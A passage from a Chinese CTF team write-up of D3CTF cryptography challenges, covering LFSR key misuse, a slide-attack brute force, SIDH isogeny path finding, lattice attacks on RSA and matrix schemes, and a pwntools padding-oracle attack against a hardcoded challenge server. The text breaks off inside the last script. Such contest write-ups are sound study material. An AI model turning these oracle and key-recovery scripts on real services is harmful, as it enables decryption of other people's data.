-联合战队|共同成长-
Cain:密码✌带飞太帅了呜呜呜
CRYPTO
strange_image_plus+
其实我并没有来得及把整个题目看完看明白,这里列出几个比较关键的部分
在最初,server会开放接口实现:
-
接收client的一张图片img_client -
接收client的参数,设置crypto加密类。其中比较重要的是用于设置lfsr的taplist,lfsr的初始状态由server随机生成 -
将img_client与server本地的flag图片img_flag异或,将异或结果用crypto加密 -
crypto加密具有流密码的性质 -
将加密结果发送到client
审计发现server并没有很好地检查client上传taplist的合法性,这里考虑构造[1, 1, 2, 2]。可以发现这个taplist导致lfsr只会产生0的更新,几轮之后lfsr只会产生0作为加密密钥了
此时即可在本地解密server的加密结果,对img_client进行异或即可得到flag图片
from image_crypto import *
# client使用的payload
msg_json = {"cmd": "get_flag", "img_path": "./test.png", "chunk_size": "16", "iv": "51ea4ec1ee5b232f3d273caa8f3d276e", "taps_list": [[1, 1, 2, 2], [1, 1, 2, 2], [1, 1, 2, 2], [1, 1, 2, 2]]}
# client收到的img密文
simg = "*字数原因该部分省略*"
simg = bytes.fromhex(simg)
limg = Image.open("test.png")
limg = image_to_bytes(limg)
width, height = 72, 60
crypto = ImageEncryption(tap_list=msg_json["taps_list"], iv=bytes.fromhex(msg_json["iv"]), chunk_size=16)
d_simg = crypto.decryption(simg)
img = xor_bytes(limg, d_simg)
img = bytes_to_image(img, width, height)
img.save("flag.png")
sym_signin
我觉得题目想考察slide attack
但是考虑到l6shed函数输出的temp_key只有24bit,并且第一组明文、密文已知,可以爆破
因此我用cpp写好了爆破脚本,一边爆破一边学习slide attack
在我花费10min学会slide attack之前,我得到了temp_key的结果
爆破脚本(多开几个进程分段爆破)
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
unsigned char S[] = {0xc, 0x5, 0x6, 0xb, 0x9, 0x0, 0xa, 0xd, 0x3, 0xe, 0xf, 0x8, 0x4, 0x7, 0x1, 0x2};
unsigned char P[] = {0, 8, 16, 24, 1, 9, 17, 25, 2, 10, 18, 26, 3, 11, 19, 27, 4, 12, 20, 28, 5, 13, 21, 29, 6, 14, 22, 30, 7, 15, 23, 31};
int S_16bit(int x) {
int result = 0;
for (int i = 0; i < 4; ++i) {
int block = (x >> (i * 4)) & 0xF;
int sbox_result = S[block];
result |= sbox_result << (i * 4);
}
return result;
}
int S_layer(int x) {
return (S_16bit(x >> 16) << 16) | S_16bit(x & 0xffff);
}
int P_32bit(int x) {
int result = 0;
for (int i = 0; i < 32; ++i) {
result |= ((x >> P[i]) & 1) << i;
}
return result;
}
int key_schedule(int key) {
return ((key << 31 & 0xffffffff) + (key << 30 & 0xffffffff) + key) & 0xffffffff;
}
int enc_round(int message, int key) {
int result = 0;
result = message ^ key;
result = S_layer(result);
result = P_32bit(result);
return result;
}
int encrypt(int message, int key, int ROUND) {
int ciphertext = message;
for(int i=0; i < ROUND; ++i) {
ciphertext = enc_round(ciphertext, key);
key = key_schedule(key);
}
ciphertext = S_layer(ciphertext);
ciphertext ^= key;
return ciphertext;
}
int main(int argc,char *argv[]) {
int c0 = 1018399591;
int m0 = 1952658276;
int step = 1<<22;
int i = atoi(argv[1]);
for(int key=i*step; key < i*step+step; ++key) {
if (encrypt(m0, key, 8192) == c0) {
printf("%u\n", key);
}
}
return 0;
}
// 11047257
解密脚本
import hashlib
import struct
S = [0xc, 0x5, 0x6, 0xb, 0x9, 0x0, 0xa, 0xd,
0x3, 0xe, 0xf, 0x8, 0x4, 0x7, 0x1, 0x2]
P = [0, 8, 16, 24, 1, 9, 17, 25, 2, 10, 18, 26, 3, 11, 19, 27,
4, 12, 20, 28, 5, 13, 21, 29, 6, 14, 22, 30, 7, 15, 23, 31]
def S_16bit(x: int, inv=0) -> int:
result = 0
for i in range(4):
block = (x >> (i * 4)) & 0xF
sbox_result = S[block]
if inv:
sbox_result = S.index(block)
result |= sbox_result << (i * 4)
return result
def S_layer(x: int, inv=0) -> int:
return (S_16bit(x >> 16, inv) << 16) | S_16bit(x & 0xffff, inv)
def P_32bit(x: int, inv=0) -> int:
binary_result = format(x, '032b')
permuted_binary = ''.join(binary_result[i] for i in P)
if inv:
permuted_binary = ''.join(binary_result[P.index(i)] for i in range(32))
result = int(permuted_binary, 2)
return result
def key_schedule(key):
return ((key << 31 & 0xffffffff) + (key << 30 & 0xffffffff) + key) & 0xffffffff
def enc_round(message: int, key: int) -> int:
result = message ^ key
result = S_layer(result)
result = P_32bit(result)
return result
def encrypt(message: int, key: int, ROUND: int) -> int:
ciphertext = message
for _ in range(ROUND):
ciphertext = enc_round(ciphertext, key)
key = key_schedule(key)
ciphertext = S_layer(ciphertext)
ciphertext ^= key
return ciphertext
def dec_round(ct: int, key: int) -> int:
result = ct
result = P_32bit(result, inv=1)
result = S_layer(result, inv=1)
result = result ^ key
return result
def decrypt(ct: int, key: int, ROUND: int) -> int:
pt = ct
keys = list()
for _ in range(ROUND+1):
keys.append(key)
key = key_schedule(key)
pt ^= keys[-1]
pt = S_layer(pt, inv=1)
for i in range(ROUND)[::-1]:
pt = dec_round(pt, keys[i])
return pt
def key_ex(num: int) -> int:
result = 0
bit_position = 0
while num > 0:
original_bits = num & 0b111
parity_bit = bin(original_bits).count('1') % 2
result |= (original_bits << (bit_position + 1)
) | (parity_bit << bit_position)
num >>= 3
bit_position += 4
return result
def write_to_binary_file(uint32_list, output_file):
with open(output_file, 'wb') as f:
for number in uint32_list:
# Pack the integer as an unsigned 32-bit integer (using 'I' format)
packed_data = struct.pack('<I', number)
f.write(packed_data)
def read_from_binary_file(input_file):
uint32_list = []
with open(input_file, 'rb') as f:
while True:
# Read 4 bytes (32 bits) from the file
data = f.read(4)
if not data:
break # End of file reached
number = struct.unpack('<I', data)[0]
uint32_list.append(number)
return uint32_list
def bytes_to_uint32_list(byte_string, fill_value=None):
uint32_list = []
remainder = len(byte_string) % 4
if remainder != 0:
padding_bytes = 4 - remainder
if fill_value is not None:
byte_string += bytes([fill_value] * padding_bytes)
for i in range(0, len(byte_string), 4):
data_chunk = byte_string[i:i+4]
number = struct.unpack('<I', data_chunk)[0]
uint32_list.append(number)
return uint32_list
def l6shad(x):
# Convert the 24-bit integer x to a bytes object (3 bytes)
x_bytes = x.to_bytes(3, 'big')
sha256_hash = hashlib.sha256(x_bytes).hexdigest()
last_six_hex_digits = sha256_hash[-6:]
result_int = int(last_six_hex_digits, 16)
return result_int
enc = read_from_binary_file("flag.enc")
temp_key = 11047257
flag = list()
for i in range(len(enc)):
flag.append(decrypt(enc[i], key=temp_key, ROUND=8192))
temp_key = l6shad(temp_key)
print(flag)
from Crypto.Util.number import *
print(b''.join(long_to_bytes(i)[::-1] for i in flag))
# d3ctf{W0w_51ide_Att4ck_M4dE_Ez!}
S0DH
对于题目的SIKE,给出了以下数据:
Pa = (199176096138773310217268*ii + 230014803812894614137371, 21529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272, 232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974, 124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 97444897625640048145787, 80099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866, 112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = (181275595028116997198711*ii + 186563896197914896999639, 181395845909382894304538*ii + 69293294106635311075792)
Ea: Elliptic Curve defined by y^2 = x^3 + (11731710804095179287932*ii+170364860453198752624563)*x^2 + x over Finite Field in ii of size 232900919541184113672191^2
Eb: Elliptic Curve defined by y^2 = x^3 + (191884939246592021710422*ii+96782382528277357218650)*x^2 + x over Finite Field in ii of size 232900919541184113672191^2
enc = 48739425383997297710665612312049549178322149326453305960348697253918290539788
而SIKE本身已经被破解了,也就是说如果双方的公钥都有的话完全可以得到两者的私钥。然而这个题目的问题在于,Alice的公钥缺失了以下一部分:
所以虽然sb可以通过CD attack直接获得,但没有办法拿到sa和phia,也就是说,对于最后需要计算共享密钥的同源,下面两个式子都缺了部分条件:
phib_Ra = phib_Pa + sa * phib_Qa
phia_Rb = phia_Pb + sb * phia_Qb
然而其实这也侧面说明了只要能求出phia就行。
而E0到Ea的同源phia度为2^38,这是38个度为2的同源的复合,在2-isogeny的同源图里可以拆成由38条边组成的路径。这也就是说,对于起点E0,其经过37个中间结点后会到达终点Ea,这等价于从E0开始的某条长为19的路径,会和从Ea开始的长为19的路径在某一点相遇。
因此就可以mitm了,而sage内建的isogeny实在很慢,并且2-isogeny的同源图中大部分结点都有3个邻居,所以也大概有3^19的复杂度,不太能接受。而maple博客在seetf的wp里有介绍过,一个加速的方法是代入当前曲线的j不变量,直接利用d=2的modular polynomial去求根,所有的根就是这个曲线2-isogeny的邻居的j不变量了,这也就是hint给出的加速方法。
mitm找到路径之后就可以通过路径逐层复合确定phia,结合之前求出的sb就有phia_Rb,就可以计算出Eba的j不变量jba了,也就是jab。
exp:
from Crypto.Util.number import *
from tqdm import *
import hashlib
################################################################# data
a = 38
b = 25
p = 2**a * 3**b - 1
assert is_prime(p)
Fp = GF(p)
Fpx = PolynomialRing(Fp, "x")
x = Fpx.gen()
Fp2 = Fp.extension(x**2 + 1, "ii")
ii = Fp2.gen()
A0 = Fp2(6)
E0 = EllipticCurve(Fp2, [0, A0, 0, 1, 0])
E0.set_order((p+1)**2)
Ea = EllipticCurve(Fp2, [0, (11731710804095179287932*ii+170364860453198752624563), 0, 1, 0])
Eb = EllipticCurve(Fp2, [0, (191884939246592021710422*ii+96782382528277357218650), 0, 1, 0])
Pa = (199176096138773310217268*ii + 230014803812894614137371, 21529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272, 232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974, 124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 97444897625640048145787, 80099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866, 112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = (181275595028116997198711*ii + 186563896197914896999639, 181395845909382894304538*ii + 69293294106635311075792)
enc = 48739425383997297710665612312049549178322149326453305960348697253918290539788
################################################################# mitm
Fp2_inv_2 = Fp2(1) / 2
def sqrt_Fp2(a):
p = Fp2.characteristic()
i = Fp2.gens()[0] # i = √-1
a1 = a ** ((p - 3) // 4)
x0 = a1 * a
α = a1 * x0
if α == -1:
x = i * x0
else:
b = (1 + α) ** ((p - 1) // 2)
x = b * x0
return x
def quadratic_roots(b, c):
d2 = b**2 - 4 * c
d = sqrt_Fp2(d2)
return ((-b + d) * Fp2_inv_2, -(b + d) * Fp2_inv_2)
def generic_modular_polynomial_roots(j1):
R = PolynomialRing(j1.parent(), "y")
y = R.gens()[0]
Φ2 = (
j1**3
- j1**2 * y**2
+ 1488 * j1**2 * y
- 162000 * j1**2
+ 1488 * j1 * y**2
+ 40773375 * j1 * y
+ 8748000000 * j1
+ y**3
- 162000 * y**2
+ 8748000000 * y
- 157464000000000
)
return Φ2.roots(multiplicities=False)
def quadratic_modular_polynomial_roots(jc, jp):
jc_sqr = jc**2
α = -jc_sqr + 1488 * jc + jp - 162000
β = (
jp**2
- jc_sqr * jp
+ 1488 * (jc_sqr + jc * jp)
+ 40773375 * jc
- 162000 * jp
+ 8748000000
)
# Find roots to x^2 + αx + β
return quadratic_roots(α, β)
def find_j_invs(j1, l, j_prev=None):
if l != 2:
raise ValueError("Currently, `find_j_invs` is only implemented for l=2")
if j_prev:
roots = quadratic_modular_polynomial_roots(j1, j_prev)
else:
roots = generic_modular_polynomial_roots(j1)
# Dont include the the previous node to avoid backtracking
return [j for j in roots if j != j_prev]
def find_isogeny(start, end, l=2, max_depth=19):
stk = []
stk.append((Fp2(start), 0)) # (j, depth)
parent = {}
parent[start] = None
while len(stk) > 0:
j, depth = stk.pop()
if depth >= max_depth:
continue
for jn in find_j_invs(j, 2, parent[j]):
if jn not in parent:
parent[jn] = j
stk.append((jn, depth + 1))
stk = []
stk.append((Fp2(end), 0)) # (j, depth)
parent2 = {}
parent2[end] = None
while len(stk) > 0:
j, depth = stk.pop()
if depth >= max_depth:
continue
for jn in find_j_invs(j, 2, parent2[j]):
if jn not in parent2:
parent2[jn] = j
stk.append((jn, depth + 1))
if jn in parent:
ret = []
t = jn
ret.append(t)
while (t := parent[t]) is not None:
ret.append(t)
ret.reverse()
t = jn
while (t := parent2[t]) is not None:
ret.append(t)
return ret
path = find_isogeny(E0.j_invariant(), Ea.j_invariant())
################################################################# find phiA
######## init
E_1 = E0
t = E_1(0).division_points(2)
j1 = path[1]
for i in t:
phi = E_1.isogeny(kernel=i, algorithm='factored', model='montgomery', check=False)
E_2 = phi.codomain()
if(E_2.j_invariant() == j1):
E_1 = E_2
phiA = phi
break
######## compose
for ji in path[2:]:
t = E_1(0).division_points(2)
for i in t:
phi = E_1.isogeny(kernel=i, algorithm='factored', model='montgomery', check=False)
E_2 = phi.codomain()
if(E_2.j_invariant() == ji):
E_1 = E_2
phiA = phi*phiA
break
################################################################# get jba(jab == jba)
Pb = E0(Pb)
Qb = E0(Qb)
sb = 798424671353 #use CD attack
Rb = Pb + sb*Qb
Ea, phia_Pb, phia_Qb = phiA.codomain(), phiA(Pb), phiA(Qb)
phia_Rb = phia_Pb + sb * phia_Qb
Eba = Ea.isogeny(kernel=phia_Rb, algorithm='factored', model='montgomery', check=False).codomain()
jba = Eba.j_invariant()
h = bytes_to_long(hashlib.sha256(str(jba).encode()).digest())
flag = h ^^ enc
print(long_to_bytes(int(flag)))
#d3ctf{is0geny_gr4ph_m33t_1n_7he_m1ddl3}
使用Castryck Dercu Attack恢复B的私钥sb
from Crypto.Util.number import *
from public_values_aux import *
from sage.all import *
import hashlib
load('castryck_decru_shortcut.sage')
a = 38
b = 25
p = 2**a * 3**b - 1
assert is_prime(p)
Fp = GF(p)
Fpx = PolynomialRing(Fp, "x")
x = Fpx.gen()
Fp2 = Fp.extension(x**2 + 1, "ii")
ii = Fp2.gen()
A0 = Fp2(6)
E0 = EllipticCurve(Fp2, [0, A0, 0, 1, 0])
E0.set_order((p+1)**2)
Pa = E0(199176096138773310217268*ii + 230014803812894614137371, 21529721453350773259901*ii + 106703903226801547853572)
Qa = E0(8838268627404727894538*ii + 42671830598079803454272, 232086518469911650058383*ii + 166016721414371687782077)
Pb = E0(200990566762780078867585*ii + 156748548599313956052974, 124844788269234253758677*ii + 161705339892396558058330)
Qb = E0(39182754631675399496884*ii + 97444897625640048145787, 80099047967631528928295*ii + 178693902138964187125027)
Ea = EllipticCurve(Fp2, [0, (11731710804095179287932*ii+170364860453198752624563), 0, 1, 0])
Eb = EllipticCurve(Fp2, [0, (191884939246592021710422*ii+96782382528277357218650), 0, 1, 0])
# Ea: Elliptic Curve defined by y^2 = x^3 + (11731710804095179287932*ii+170364860453198752624563)*x^2 + x over Finite Field in ii of size 232900919541184113672191^2
# Eb: Elliptic Curve defined by y^2 = x^3 + (191884939246592021710422*ii+96782382528277357218650)*x^2 + x over Finite Field in ii of size 232900919541184113672191^2
phib_Pa = Eb(149703758091223422379828*ii + 52711226604051274601866, 112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = Eb(181275595028116997198711*ii + 186563896197914896999639, 181395845909382894304538*ii + 69293294106635311075792)
enc = 48739425383997297710665612312049549178322149326453305960348697253918290539788
two_i = generate_distortion_map(E0)
P3 = Pb
Q3 = Qb
sb = CastryckDecruAttack(E0, Pa, Qa, Eb, phib_Pa, phib_Qa, two_i, num_cores=1)
print(sb)
# 798424671353
enctwice
第一层考虑在acdp的oracle下求解X的值
由于初始的X很小,所以需要利用一次交互设定一个更大的X。朴素的输入最高只能设置到255,这里发现可以直接输入“D3”将X的bit数拉到300
然后可以获取7-1+1条数据(包括flag的密文),构造格求解acdp即可获得X的值,此后即可任意修改密文的所有内容
第二部分考虑使用padding oracle在verify中泄露明文的值
由于ct1中的tag并不好伪造,因此考虑从ct2入手,ct1相关参数保持不变
考虑到当ct2解密正常unpad截断后,其明文长度≤真实明文长度,按照题目的逐位比较方法是可以通过校验的(zip会以较小的长度为基准),至此即可毫无顾虑地在AES-OFB下实施padding oracle得到flag
# -*- coding utf-8 -*-
# @Time : 2024/4/28 18:42
from hashlib import sha256
from Crypto.Util.number import *
from sage.all import *
from pwn import *
from tqdm import tqdm
def proof(io):
io.recvuntil(b'sha256(XXXX + ')
temp = io.recvuntil(b') == ', drop=True)
h = io.recvuntil(b'\n', drop=True)
print(temp, h)
for i in tqdm(string.ascii_letters + string.digits):
for j in string.ascii_letters + string.digits:
for m in string.ascii_letters + string.digits:
for n in string.ascii_letters + string.digits:
temp1 = (i + j + m + n).encode() + temp
# print(temp)
if sha256(temp1).hexdigest() == h.decode():
io.recvuntil(b'Give me XXXX >')
print('true')
io.sendline((i + j + m + n).encode())
return
def getX(As):
L = block_matrix([
[2^250, matrix(ZZ, As[1:])],
[0, ZZ(As[0])]
]).LLL()
ct0 = abs(L[0][0]) // 2^250
tag0 = ZZ(As[0] % ct0)
X = (As[0]-tag0) // ct0
return X
def oracle(enc):
io.sendlineafter(b'>', enc.hex().encode())
res = io.recvline().strip().decode()
return "Valid message!" in res
def attack(msg, X):
ct1, val, iv, nonce = msg[:32], bytes_to_long(msg[32:-28]), msg[-28:-12], msg[-12:]
tag, ct2 = ZZ(val % X), long_to_bytes(val // X)
flag = list()
for i in range(32)[::-1]:
padding = 32-i
prefix = ct2[:i]
suffix = bytes([ct2[i+j+1]^^flag[j]^^padding for j in range(len(flag))])
for c in tqdm(range(256)):
now_ct2 = prefix + bytes([ct2[i]^^c^^padding]) + suffix
now_enc = ct1 + long_to_bytes(tag + bytes_to_long(now_ct2)*X) + iv + nonce
if oracle(now_enc):
flag = [c] + flag
print(bytes(flag))
break
else:
print(i, "not this time")
exit()
print(bytes(flag))
# context.log_level = 'debug'
host, port = "47.103.122.127:30175".split(":")
io = remote(host, int(port))
proof(io)
io.recvuntil(b'> ')
io.sendline(b'change X')
io.recvuntil(b'input your X >')
io.sendline(b'D3')
vals = []
ivs = []
for i in range(6):
io.recvuntil(b'> ')
io.sendline(b'encrypt')
io.recvuntil(b'input your message >')
io.sendline(b'12345678')
msg = bytes.fromhex(io.recvuntil(b'\n',drop=True).decode())
ct1, val, iv, nonce = msg[:32], bytes_to_long(msg[32:-28]), msg[-28:-12], msg[-12:]
vals.append(val)
ivs.append(iv)
io.recvuntil(b'Here is your flag:\n')
msg = bytes.fromhex(io.recvuntil(b'\n',drop=True).decode())
flagc, val, iv, nonce = msg[:32], bytes_to_long(msg[32:-28]), msg[-28:-12], msg[-12:]
vals.append(val)
ivs.append(iv)
X = getX(vals)
attack(msg, X)
# b'd3ctf{eabd797469b8f88a788a0a04}\x01'
myRSA
本地可以先验证下输出的周期性什么的得到
chunk1 = bin(q1)[2:].zfill(256*7)
chunk2 = bin(q2)[2:].zfill(256*7)
assert chunk1[256:256+870] == chunk2[648+256+1: 648+256+1+870]
发现论文:https://eprint.iacr.org/2023/1562.pdf
简单总结一下问题
消去M之后会有
乘上
化简得
这里用论文首次提到的多项式策略是出不来的(可能是我维度没调大)
用论文的新多项式策略,引入参数w=q2
后面就是正常的多项式格造法,注意多项式化简一下
参数选取上
Exp
alpha = .125
gamma = .42
# bounds 4a(1-sqrt(a)) < gamma
(4*alpha*(1-sqrt(alpha))).n(),gamma
# (0.323223304703363, 0.420000000000000) 满足界
# polynomials
import itertools
from subprocess import check_output
import fgb_sage
sys.set_int_max_str_digits(20000)
def flatter(M):
# compile https://github.com/keeganryan/flatter and put it in $PATH
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
from re import findall
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
N1 = 11195108435418195710792588075406654238662413452040893604269481198631380853864777816171135346615239847585274781942826320773907414919521767450698159152141823148113043170072260905000812966959448737906045653134710039763987977024660093279241536270954380974093998238962759705207561900626656220185252467266349413165950122829268464816965028949121220409917771866453266522778041491886000765870296070557269360794230165147639201703312790976341766891628037850902489808393224528144341687117276366107884626925409318998153959791998809250576701129098030933612584038842347204032289231076557168670724255156010233010888918002630018693299
N2 = 15100254697650550107773880032815145863356657719287915742500114525591753087962467826081728465512892164117836132237310655696249972190691781679185814089899954980129273157108546566607320409558512492474972517904901612694329245705071789171594962844907667870548108438624866788136327638175865250706483350097727472981522495023856155253124778291684107340441685908190131143526592231859940556416271923298043631447630144435617140894108480182678930181019645093766210388896642127572162172851596331016756329494450522133805279328640942549500999876562756779916153474958590607156569686953857510763692124165713467629066731049974996526071
alpha = .125
gamma = .42
b = 1 - alpha - gamma
b1 = 2^(1792-1775)
b2 = 2^(1792-1126)
bg1 = 2^(1792-905)
bg2 = 2^(1792-256)
bounds = [b2,2^905,2^256,2^1792]
PR.<x,y,z,w> = PolynomialRing(ZZ)
f = x*z + bg2*y*z + ZZ(N1)
K = (b2//b1)
G = Sequence([], f.parent())
m = 9
t = 4
s = 3
for i in range(m+1):
for j in range(0,m-i+1):
g = (y*z)^j*w^s*f^i*K^(m-i)*ZZ(N2)^(max(t-i,0))*ZZ(N1)^(-min(s,i+j))
monomials = vector(g.monomials())
# print(monomials)
cof = vector(g.coefficients())
for k in range(len(monomials)):
monomial = monomials[k]
while monomial % (z*w) == 0:
monomial = N1*monomial//(z*w)
monomials[k] = monomial
g = cof*monomials
# print(i,j,monomials)
# assert g(xx,yy,zz,ww) % (K^m*q2^t) == 0
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
print("dim:",B.nrows(),B.ncols())
B = flatter(B)
# except:
# B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
RR = B*monomials
# for i in range(len(RR)):
# if RR[i](xx,yy,zz,ww)==0 and RR[i]!=0:
# print(i)
RR[0] = z*w - ZZ(N1)
fgb_sage.groebner_basis(RR[0:20])
这里有个问题就是groebner_basis会差一个关系导致不能直接解出来,需要自己发现,直接w的解就是两个相同的标识字段,x,y值就是后两个等式的系数,这里主要是x,y取整较小才看出来的。
[z*w - 11195108435418195710792588075406654238662413452040893604269481198631380853864777816171135346615239847585274781942826320773907414919521767450698159152141823148113043170072260905000812966959448737906045653134710039763987977024660093279241536270954380974093998238962759705207561900626656220185252467266349413165950122829268464816965028949121220409917771866453266522778041491886000765870296070557269360794230165147639201703312790976341766891628037850902489808393224528144341687117276366107884626925409318998153959791998809250576701129098030933612584038842347204032289231076557168670724255156010233010888918002630018693299, 239068047081965384767007153505428218619674049945507071478715289239933064247882248962346046028052659238989500321998629710069219909480246563039035785601536645104724428948954790244799223446136745932574761975214121454791897666987885019354063049844409198027308476983172019941034479981554825812153786963900636634328034164020188374064986670011373098172498717110936889843013560877836794896848854390924191578210936522170759369788320328374043301661070465401903348535545919922892863415937824764294461528420316746549814915898518729807051048994912614797*x - 2150041731351815713171104523921920493220624053206985451744233895108303740469684723305396314365408654901185731316940674743393624005747389336974965252847296612520628261079495101318288878763133399451251*w, 239068047081965384767007153505428218619674049945507071478715289239933064247882248962346046028052659238989500321998629710069219909480246563039035785601536645104724428948954790244799223446136745932574761975214121454791897666987885019354063049844409198027308476983172019941034479981554825812153786963900636634328034164020188374064986670011373098172498717110936889843013560877836794896848854390924191578210936522170759369788320328374043301661070465401903348535545919922892863415937824764294461528420316746549814915898518729807051048994912614797*y - 226424529213344999668721893182041940135510332166374912207004824461410074124256560817809951006519763202279310112144759780123971358841835703176196881303793274922977845173880043211792854018584878197697797884263497201497403074557926911586759787949296373546575946325913789515250*w]
from Crypto.Util.number import *
N1 = 11195108435418195710792588075406654238662413452040893604269481198631380853864777816171135346615239847585274781942826320773907414919521767450698159152141823148113043170072260905000812966959448737906045653134710039763987977024660093279241536270954380974093998238962759705207561900626656220185252467266349413165950122829268464816965028949121220409917771866453266522778041491886000765870296070557269360794230165147639201703312790976341766891628037850902489808393224528144341687117276366107884626925409318998153959791998809250576701129098030933612584038842347204032289231076557168670724255156010233010888918002630018693299
N2 = 15100254697650550107773880032815145863356657719287915742500114525591753087962467826081728465512892164117836132237310655696249972190691781679185814089899954980129273157108546566607320409558512492474972517904901612694329245705071789171594962844907667870548108438624866788136327638175865250706483350097727472981522495023856155253124778291684107340441685908190131143526592231859940556416271923298043631447630144435617140894108480182678930181019645093766210388896642127572162172851596331016756329494450522133805279328640942549500999876562756779916153474958590607156569686953857510763692124165713467629066731049974996526071
c = 4814924495615599863001719377787452659409530421473568305028025012566126400664362465878829645297418472853978736123334486954531551369698267539790007454131291197238666548347098462574649698959650399163371262093116196849478966536838813625531493756454672767925688817717023571267320336512019086040845336203876733170680765788230657626290346741730982737645243576591521512217549028162039336681342312618225110504010746912604698079363106352791499951364510694837846064947033912634697178711135807010770985698854383359436879061864935030256963597840531276583023488437671584864430423908673190679945703404235633491522955548722332086120
q1 = 239068047081965384767007153505428218619674049945507071478715289239933064247882248962346046028052659238989500321998629710069219909480246563039035785601536645104724428948954790244799223446136745932574761975214121454791897666987885019354063049844409198027308476983172019941034479981554825812153786963900636634328034164020188374064986670011373098172498717110936889843013560877836794896848854390924191578210936522170759369788320328374043301661070465401903348535545919922892863415937824764294461528420316746549814915898518729807051048994912614797
p1 = N1//q1
q2= 233630547848394209135007018972303763238959109185355683130322620796378633145525100709179571875102267102447496628291714154280219943873043858667798898696184628509324840427879890362326324120687817776725580762548416889656993644873863355029802729279811296000401181720879751079755752977120622685686496479097190255559207261859429013562579599965897764277003344636338025142515285652373365302362599206367163574996397752488118173365817421484736747250676793673904961985188479396221492697480321074922050130834864248123651660561638787884447523367892589529
p2 = N2//q2
assert p1*q1 == N1
assert p2*q2 == N2
d = inverse(65537,(p2-1)*(q2-1))
print(long_to_bytes(pow(c,d,N2)))
# b'd3ctf{Impl1cit f4ct0riz4tion probl3m 1s e4sy for_You. Without any m3aning, I s1mply increase my kn0wledge. Holl0wly, I accumul4ted 0nly yearning. I had a swimsuit, I had m4ps, but I had n0 future.}'
d3matrix2
题目利用range(k)的shuffle序列作为加密密钥,并给出该顺序下公钥矩阵相乘的结果
首先考虑矩阵迹的性质
-
tr(ABC) = tr(CAB) = tr(BCA) -
在本题目场景下,由于公钥矩阵的迹都很小,因此通常有tr(AB) ≥ tr(A)
假设c = pki * c' * pkj,即对于当前的c,其开头结尾的矩阵分别为pki、pkj
对于pki,此时有tr(pki^-1 * c) = tr(c' * pkj) < tr(pki * c' * pkj)
对于pkj,则有tr(pkj^-1 * c) = tr(pkj^-1 * pki * c' * pkj) = tr(pkj * pkj^-1 * pki * c') = tr(pki * c') < tr(pki * c' * pkj)
对于其他的pk,显然这一操作会使得乘法序列变长,trace将会变大(至少不会变小)
因此对于当前的c,枚举所有的pki检查tr(pki^-1 * c) < tr(c)是否成立,即可找到开头结尾的矩阵pki、pkj
通过判断tr(pki^-1 * c * pkj^-1)与tr(pkj^-1 * c * pki^-1)的大小,即可判断两个矩阵的前后位置关系
在此基础上将开头结尾矩阵脱掉,对c'重复上述操作,最后可以找到完整的矩阵序列,也即恢复了密钥shuffle(range(k)),解密得到flag
from sage.all import *
import hashlib
from Crypto.Util.number import *
from Crypto.Cipher import AES
p = 2**1105 - 1335
k = 99
n = 24
alpha = 2
pk = load('pk.sobj')
c = load('c.sobj')
rangelist = list()
prefix, suffix = list(), list()
while True:
print(len(prefix) + len(suffix))
tmp = list()
tr0 = c.trace()
for i in range(len(pk)):
if pk[i]:
tr1 = (pk[i]^-1*c).trace()
if tr1 < tr0:
tmp.append(i)
if len(tmp) == 1:
rangelist = prefix + tmp + suffix
break
i, j = tmp
trij = (pk[i]^-1*c*pk[j]^-1).trace()
trji = (pk[j]^-1*c*pk[i]^-1).trace()
if trij < tr0 and trji > tr0:
prefix = prefix + [i]
suffix = [j] + suffix
c = pk[i]^-1*c*pk[j]^-1
pk[i], pk[j] = None, None
continue
if trji < tr0 and trij > tr0:
prefix = prefix + [j]
suffix = [i] + suffix
c = pk[j]^-1*c*pk[i]^-1
pk[i], pk[j] = None, None
continue
print("should not be here")
print(rangelist)
enc = b'lD\xfc\xf4\xdb+\xcd\xbd\xff\x1a!C\x0e\x16\t\xa7:<\x94<\xac(M(i\xee\xf9B\xc7\xea}\x1b\x86\xf8e\xff\xa8<\xc2\xf0\x02P\xd8%$\xc3\xe9-'
key = hashlib.sha256(str(rangelist).encode()).digest()
aes = AES.new(key = key , mode = AES.MODE_ECB)
flag = aes.decrypt(enc)
print(flag)
# b'd3ctf{tr@Ce_Mag1c_1n_M@Tr1x_C0njUgAtE}\n\n\n\n\n\n\n\n\n\n'
d3matrix1
题目问题:
,利用D矩阵构建A矩阵的关系,用到这个等式
接下来利用lattice找到T,k。对矩阵按位置进行求子集和,所以可以展开成向量。构建如下格
得到T,k后(有40组)考虑
后续就是一个正交格的问题了,对A矩阵的值做减1偏移(偏移值为
)。这样, ,构建如下两个正交格(kE里面的值只有两种(k,0)).
Exp
Dlist = load('./Dlist.sobj')
M = Matrix(ZZ,k+n*n)
for i in range(k):
M[i,i] = 1
# print(i)
for j in range(0,n):
M[i,k+j*n:k+j*n+n] = Dlist[i][j]
for i in range(k,k+n*n):
M[i,i] = p
from subprocess import check_output
def j(vec):
for v in vec:
if abs(v)>1:
return 0
return 1
def flatter(M):
# compile https://github.com/keeganryan/flatter and put it in $PATH
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
from re import findall
